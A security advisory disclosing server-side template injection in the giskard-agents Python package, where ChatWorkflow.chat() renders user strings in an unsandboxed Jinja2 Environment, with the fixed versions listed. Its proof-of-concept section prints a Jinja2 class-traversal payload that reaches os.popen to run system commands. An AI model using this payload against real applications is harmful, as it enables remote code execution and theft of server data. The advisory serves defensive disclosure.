GHSA-frv4-x25r-588m
Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | giskard-agents | < 0.3.4 | 0.3.4 |
| PyPI | giskard-agents | >= 1.0.1a1, < 1.0.2b1 | 1.0.2b1 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.
The method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.
## Root Cause
`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261:
```python
def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
if isinstance(message, str):
message = MessageTemplate(role=role, content_template=message)
```
The string becomes `content_template`, which is parsed by `from_string()`:
`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15:
```python
def render(self, **kwargs: Any) -> Message:
template = _inline_env.from_string(self.content_template)
rendered_content = template.render(**kwargs)
```
The Jinja2 Environment is not sandboxed:
`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37:
```python
_inline_env = Environment(
autoescape=False,
# Not SandboxedEnvironment
)
```
## Proof of Concept
```python
from jinja2 import Environment
env = Environment() # Same as giskard's _inline_env
# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render()) # 342 accessible subclasses
# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}
```
A developer building a chatbot:
```python
workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input) # user_input parsed as Jinja2 template
result = await workflow.run() # RCE if user_input contains {{ payload }}
```
Note: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.
## Impact
Remote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.
Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).
# Mitigation
Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.
The fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain.
References
External links from the advisory. They lead to third-party sites.